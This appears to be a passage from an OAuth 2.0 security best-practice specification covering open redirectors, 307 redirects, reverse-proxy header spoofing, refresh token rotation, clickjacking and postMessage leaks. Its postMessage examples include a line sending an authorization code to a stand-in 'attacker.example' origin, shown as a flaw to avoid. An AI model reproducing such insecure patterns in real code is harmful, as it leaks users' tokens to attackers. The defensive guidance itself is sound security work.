Discussion: Preventing Leakage via Metadata An authorization server could provide the client with additional information about the locations where it is safe to use its access tokens. In the simplest form, this would require the AS to publish a list of its known resource servers, illustrated in the following example using a non-standard metadata parameter resource_servers: HTTP/1.1 200 OK Content-Type: application/json { "issuer":"https://server.somesite.example", "authorization_endpoint": "https://server.somesite.example/authorize", "resource_servers":[ "email.somesite.example", "storage.somesite.example", "video.somesite.example" ] ... } The AS could also return the URL(s) an access token is good for in the token response, illustrated by the example and non-standard return parameter access_token_resource_server: HTTP/1.1 200 OK Content-Type: application/json;charset=UTF-8 Cache-Control: no-store Pragma: no-cache { "access_token":"2YotnFZFEjr1zCsicMWpAA", "access_token_resource_server": "https://hostedresource.somesite.example/path1", ... } This mitigation strategy would rely on the client to enforce the security policy and to only send access tokens to legitimate destinations. Results of OAuth-related security research (see for example and ) indicate a large portion of client implementations do not or fail to properly implement security controls, like state checks. So relying on clients to prevent access token phishing is likely to fail as well. Moreover, given the ratio of clients to authorization and resource servers, it is considered the more viable approach to move as much as possible security-related logic to those entities. Clearly, the client has to contribute to the overall security. But there are alternative countermeasures, as described before, that provide a better balance between the involved parties.

Open Redirection The following attacks can occur when an AS or client has an open redirector. An open redirector is an endpoint that forwards a user’s browser to an arbitrary URI obtained from a query parameter. Such endpoints are sometimes implemented, for example, to show a message before a user is then redirected to an external website, or to redirect users back to a URL they were intending to visit before being interrupted, e.g., by a login prompt.

Client as Open Redirector Clients MUST NOT expose open redirectors. Attackers may use open redirectors to produce URLs pointing to the client and utilize them to exfiltrate authorization codes and access tokens, as described in . Another abuse case is to produce URLs that appear to point to the client. This might trick users into trusting the URL and follow it in their browser. This can be abused for phishing. In order to prevent open redirection, clients should only redirect if the target URLs are whitelisted or if the origin and integrity of a request can be authenticated. Countermeasures against open redirection are described by OWASP .

Authorization Server as Open Redirector Just as with clients, attackers could try to utilize a user's trust in the authorization server (and its URL in particular) for performing phishing attacks. OAuth authorization servers regularly redirect users to other web sites (the clients), but must do so in a safe way. , Section 4.1.2.1, already prevents open redirects by stating that the AS MUST NOT automatically redirect the user agent in case of an invalid combination of client_id and redirect_uri. However, an attacker could also utilize a correctly registered redirect URI to perform phishing attacks. The attacker could, for example, register a client via dynamic client registration and execute one of the following attacks:

Intentionally send an erroneous authorization request, e.g., by using an invalid scope value, thus instructing the AS to redirect the user-agent to its phishing site.
Intentionally send a valid authorization request with client_id and redirect_uri controlled by the attacker. After the user authenticates, the AS prompts the user to provide consent to the request. If the user notices an issue with the request and declines the request, the AS still redirects the user agent to the phishing site. In this case, the user agent will be redirected to the phishing site regardless of the action taken by the user.
Intentionally send a valid silent authentication request (prompt=none) with client_id and redirect_uri controlled by the attacker. In this case, the AS will automatically redirect the user agent to the phishing site.

The AS MUST take precautions to prevent these threats. The AS MUST always authenticate the user first and, with the exception of the silent authentication use case, prompt the user for credentials when needed, before redirecting the user. Based on its risk assessment, the AS needs to decide whether it can trust the redirect URI or not. It could take into account URI analytics done internally or through some external service to evaluate the credibility and trustworthiness content behind the URI, and the source of the redirect URI and other client data. The AS SHOULD only automatically redirect the user agent if it trusts the redirect URI. If the URI is not trusted, the AS MAY inform the user and rely on the user to make the correct decision.

307 Redirect At the authorization endpoint, a typical protocol flow is that the AS prompts the user to enter her credentials in a form that is then submitted (using the HTTP POST method) back to the authorization server. The AS checks the credentials and, if successful, redirects the user agent to the client's redirection endpoint. In , the HTTP status code 302 is used for this purpose, but "any other method available via the user-agent to accomplish this redirection is allowed". When the status code 307 is used for redirection instead, the user agent will send the user's credentials via HTTP POST to the client. This discloses the sensitive credentials to the client. If the client is malicious, it can use the credentials to impersonate the user at the AS. The behavior might be unexpected for developers, but is defined in , Section 6.4.7. This status code does not require the user agent to rewrite the POST request to a GET request and thereby drop the form data in the POST request body. In the HTTP standard , only the status code 303 unambigiously enforces rewriting the HTTP POST request to an HTTP GET request. For all other status codes, including the popular 302, user agents can opt not to rewrite POST to GET requests and therefore to reveal the user's credentials to the client. (In practice, however, most user agents will only show this behaviour for 307 redirects.) ASs that redirect a request that potentially contains the user's credentials therefore MUST NOT use the HTTP 307 status code for redirection. If an HTTP redirection (and not, for example, JavaScript) is used for such a request, the AS SHOULD use HTTP status code 303 (See Other).

TLS Terminating Reverse Proxies A common deployment architecture for HTTP applications is to hide the application server behind a reverse proxy that terminates the TLS connection and dispatches the incoming requests to the respective application server nodes. This section highlights some attack angles of this deployment architecture with relevance to OAuth and gives recommendations for security controls. In some situations, the reverse proxy needs to pass security-related data to the upstream application servers for further processing. Examples include the IP address of the request originator, token binding ids, and authenticated TLS client certificates. This data is usually passed in HTTP headers added to the upstream request. While the headers are often custom, application-specific headers, standardized header fields for client certificates and client certificate chains are defined in . If the reverse proxy would pass through any header sent from the outside, an attacker could try to directly send the faked header values through the proxy to the application server in order to circumvent security controls that way. For example, it is standard practice of reverse proxies to accept X-Forwarded-For headers and just add the origin of the inbound request (making it a list). Depending on the logic performed in the application server, the attacker could simply add a whitelisted IP address to the header and render a IP whitelist useless. A reverse proxy MUST therefore sanitize any inbound requests to ensure the authenticity and integrity of all header values relevant for the security of the application servers. If an attacker were able to get access to the internal network between proxy and application server, the attacker could also try to circumvent security controls in place. It is, therefore, essential to ensure the authenticity of the communicating entities. Furthermore, the communication link between reverse proxy and application server MUST be protected against eavesdropping, injection, and replay of messages.

Refresh Token Protection Refresh tokens are a convenient and user-friendly way to obtain new access tokens after the expiration of access tokens. Refresh tokens also add to the security of OAuth, since they allow the authorization server to issue access tokens with a short lifetime and reduced scope, thus reducing the potential impact of access token leakage.

Discussion Refresh tokens are an attractive target for attackers, since they represent the overall grant a resource owner delegated to a certain client. If an attacker is able to exfiltrate and successfully replay a refresh token, the attacker will be able to mint access tokens and use them to access resource servers on behalf of the resource owner. already provides a robust baseline protection by requiring

confidentiality of the refresh tokens in transit and storage,
the transmission of refresh tokens over TLS-protected connections between authorization server and client,
the authorization server to maintain and check the binding of a refresh token to a certain client and authentication of this client during token refresh, if possible, and
that refresh tokens cannot be generated, modified, or guessed.

also lays the foundation for further (implementation specific) security measures, such as refresh token expiration and revocation as well as refresh token rotation by defining respective error codes and response behaviors. This specification gives recommendations beyond the scope of and clarifications.

Recommendations Authorization servers SHOULD determine, based on a risk assessment, whether to issue refresh tokens to a certain client. If the authorization server decides not to issue refresh tokens, the client MAY refresh access tokens by utilizing other grant types, such as the authorization code grant type. In such a case, the authorization server may utilize cookies and persistent grants to optimize the user experience. If refresh tokens are issued, those refresh tokens MUST be bound to the scope and resource servers as consented by the resource owner. This is to prevent privilege escalation by the legitimate client and reduce the impact of refresh token leakage. For confidential clients, already requires that refresh tokens can only be used by the client for which they were issued. Authorization server MUST utilize one of these methods to detect refresh token replay by malicious actors for public clients:

Sender-constrained refresh tokens: the authorization server cryptographically binds the refresh token to a certain client instance, e.g., by utilizing or .
Refresh token rotation: the authorization server issues a new refresh token with every access token refresh response. The previous refresh token is invalidated but information about the relationship is retained by the authorization server. If a refresh token is compromised and subsequently used by both the attacker and the legitimate client, one of them will present an invalidated refresh token, which will inform the authorization server of the breach. The authorization server cannot determine which party submitted the invalid refresh token, but it will revoke the active refresh token. This stops the attack at the cost of forcing the legitimate client to obtain a fresh authorization grant. Implementation note: the grant to which a refresh token belongs may be encoded into the refresh token itself. This can enable an authorization server to efficiently determine the grant to which a refresh token belongs, and by extension, all refresh tokens that need to be revoked. Authorization servers MUST ensure the integrity of the refresh token value in this case, for example, using signatures.

Authorization servers MAY revoke refresh tokens automatically in case of a security event, such as:

password change
logout at the authorization server

Refresh tokens SHOULD expire if the client has been inactive for some time, i.e., the refresh token has not been used to obtain fresh access tokens for some time. The expiration time is at the discretion of the authorization server. It might be a global value or determined based on the client policy or the grant associated with the refresh token (and its sensitivity).

Client Impersonating Resource Owner Resource servers may make access control decisions based on the identity of a resource owner, for which an access token was issued, or based on the identity of a client in the client credentials grant. If both options are possible, depending on the details of the implementation, a client's identity may be mistaken for the identity of a resource owner. For example, if a client is able to choose its own client_id during registration with the authorization server, a malicious client may set it to a value identifying an end-user (e.g., a sub value if OpenID Connect is used). If the resource server cannot properly distinguish between access tokens issued to clients and access tokens issued to end-users, the client may then be able to access resource of the end-user.

Countermeasures Authorization servers SHOULD NOT allow clients to influence their client_id or any other Claim if that can cause confusion with a genuine resource owner. Where this cannot be avoided, authorization servers MUST provide other means for the resource server to distinguish between access tokens authorized by a resource owner from access tokens authorized by the client itself.

Clickjacking As described in Section 4.4.1.9 of , the authorization request is susceptible to clickjacking attacks, also called user interface redressing. In such an attack, an attacker embeds the authorization endpoint user interface in an innocuous context. A user believing to interact with that context, for example, clicking on buttons, inadvertently interacts with the authorization endpoint user interface instead. The opposite can be achieved as well: A user believing to interact with the authorization endpoint might inadvertently type a password into an attacker-provided input field overlaid over the original user interface. Clickjacking attacks can be designed such that users can hardly notice the attack, for example using almost invisible iframes overlaid on top of other elements. An attacker can use this vector to obtain the user's authentication credentials, change the scope of access granted to the client, and potentially access the user's resources. Authorization servers MUST prevent clickjacking attacks. Multiple countermeasures are described in , including the use of the X-Frame-Options HTTP response header field and frame-busting JavaScript. In addition to those, authorization servers SHOULD also use Content Security Policy (CSP) level 2 or greater. To be effective, CSP must be used on the authorization endpoint and, if applicable, other endpoints used to authenticate the user and authorize the client (e.g., the device authorization endpoint, login pages, error pages, etc.). This prevents framing by unauthorized origins in user agents that support CSP. The client MAY permit being framed by some other origin than the one used in its redirection endpoint. For this reason, authorization servers SHOULD allow administrators to configure allowed origins for particular clients and/or for clients to register these dynamically. Using CSP allows authorization servers to specify multiple origins in a single response header field and to constrain these using flexible patterns (see for details). Level 2 of this standard provides a robust mechanism for protecting against clickjacking by using policies that restrict the origin of frames (using frame-ancestors) together with those that restrict the sources of scripts allowed to execute on an HTML page (by using script-src). A non-normative example of such a policy is shown in the following listing: HTTP/1.1 200 OK Content-Security-Policy: frame-ancestors https://ext.example.org:8000 Content-Security-Policy: script-src 'self' X-Frame-Options: ALLOW-FROM https://ext.example.org:8000 ... Because some user agents do not support , this technique SHOULD be combined with others, including those described in , unless such legacy user agents are explicitly unsupported by the authorization server. Even in such cases, additional countermeasures SHOULD still be employed.

Authorization Server Redirecting to Phishing Site An attacker could utilize a correctly registered redirect URI to perform phishing attacks. The attacker could, for example, register a client via dynamic client registration [RFC7591] and execute one of the following attacks:

Intentionally send an erroneous authorization request, e.g., by using an invalid scope value, thus instructing the AS to redirect the user-agent to its phishing site.
Intentionally send a valid authorization request with client_id and redirect_uri controlled by the attacker. After the user authenticates, the AS prompts the user to provide consent to the request. If the user notices an issue with the request and declines the request, the AS still redirects the user agent to the phishing site. In this case, the user agent will be redirected to the phishing site regardless of the action taken by the user.
Intentionally send a valid silent authentication request (prompt=none) with client_id and redirect_uri controlled by the attacker. In this case, the AS will automatically redirect the user agent to the phishing site.

Attacks on In-Browser Communication Flows If the authorization response is sent with in-browser communication techniques like postMessage instead of HTTP redirects, messages may inadvertently be sent to malicious origins or injected from malicious origins.

Examples The following examples of attacks using in-browser communication are described in :

Insufficient Limitation of Receiver Origins When sending the authorization response or token response via postMessage, the authorization server sends the response to the wildcard origin "*" instead of the client's origin. When the window to which the response is sent is controlled by an attacker, the attacker can read the response. window.opener.postMessage( { code: "ABC", state: "123" }, "*" // any website in the opener window can receive the message )

Insufficient URI Validation When sending the authorization response or token response via postMessage, the authorization server may not check the receiver origin against the redirect URI and instead, for example, send the response to an origin provided by an attacker. This is analogous to the attack described in . window.opener.postMessage( { code: "ABC", state: "123" }, "https://attacker.example" // attacker-provided value )

Injection after Insufficient Validation of Sender Origin A client that expects the authorization response or token response via postMessage may not validate the sender origin of the message. This may allow an attacker to inject an authorization response or token response into the client. In the case of a maliciously injected authorization response, the attack is a variant of the CSRF attacks described in . The countermeasures described in apply to this attack as well. In the case of a maliciously injected token response, sender-constrained access tokens as described in may prevent the attack under some circumstances, but additional countermeasures as described next are generally required.

Recommendations When comparing client receiver origins against pre-registered origins, authorization servers MUST utilize exact string matching as described in . Authorization servers MUST send postMessages to trusted client receiver origins: window.opener.postMessage( { code: "ABC", state: "123" }, "https://client.example" // use explicit client origin ) Wildcard origins like "*" in postMessage MUST not be used as attackers can use them to leak a victim's in-browser message to malicious origins. Both measures contribute to the prevention of leakage of authorization codes and access tokens (see ). Clients MUST prevent injection of in-browser messages on the client receiver endpoint. Clients MUST utilize exact string matching to compare the initiator origin of an in-browser message with the authorization server origin: window.addEventListener("message", (e) => { // validate exact AS origin if (e.origin === "https://honest.as.example") { // process e.data.code and e.data.state } }) Since in-browser communication flows only apply a different communication technique (i.e., postMessage instead of HTTP redirect), all measures protecting the authorization response listed in MUST be applied equally.